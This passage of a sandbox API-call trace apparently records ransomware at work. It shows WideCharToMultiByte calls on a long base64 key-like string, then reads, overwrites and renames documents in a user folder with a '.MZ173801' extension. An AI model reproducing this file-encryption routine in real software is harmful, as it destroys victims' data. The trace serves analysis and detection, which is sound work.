QzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\61APk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\61apk.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.463] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.463] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.463] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x183e2 [0124.463] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.463] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x183e2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x183e2, lpOverlapped=0x0) returned 1 [0124.465] CloseHandle (hObject=0x288) returned 1 [0124.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\61APk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\61apk.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.469] WriteFile (in: hFile=0x288, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x183e2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x183e2, lpOverlapped=0x0) returned 1 [0124.472] CloseHandle (hObject=0x288) returned 1 [0124.474] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\61APk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\61apk.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\61APk.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\61apk.xlsx.mz173801")) returned 1 [0124.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6bT8WXgaafX4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6bt8wxgaafx4.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b55170, ftCreationTime.dwHighDateTime=0x1d5cede, ftLastAccessTime.dwLowDateTime=0x9fb9a3f0, ftLastAccessTime.dwHighDateTime=0x1d58812, ftLastWriteTime.dwLowDateTime=0x9fb9a3f0, ftLastWriteTime.dwHighDateTime=0x1d58812, nFileSizeHigh=0x0, nFileSizeLow=0xd1df)) returned 1 [0124.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6bT8WXgaafX4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6bt8wxgaafx4.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xd1df [0124.478] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.478] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xd1df, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xd1df, lpOverlapped=0x0) returned 1 [0124.479] CloseHandle (hObject=0x288) returned 1 [0124.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6bT8WXgaafX4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6bt8wxgaafx4.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.481] WriteFile (in: hFile=0x288, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xd1df, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xd1df, lpOverlapped=0x0) returned 1 [0124.483] CloseHandle (hObject=0x288) returned 1 [0124.484] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6bT8WXgaafX4.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6bt8wxgaafx4.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6bT8WXgaafX4.pptx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6bt8wxgaafx4.pptx.mz173801")) returned 1 [0124.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CezH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cezh.rtf"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10cb2de0, ftCreationTime.dwHighDateTime=0x1d5e801, ftLastAccessTime.dwLowDateTime=0x369c30d0, ftLastAccessTime.dwHighDateTime=0x1d5e6e6, ftLastWriteTime.dwLowDateTime=0x369c30d0, ftLastWriteTime.dwHighDateTime=0x1d5e6e6, nFileSizeHigh=0x0, nFileSizeLow=0xe75)) returned 1 [0124.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyN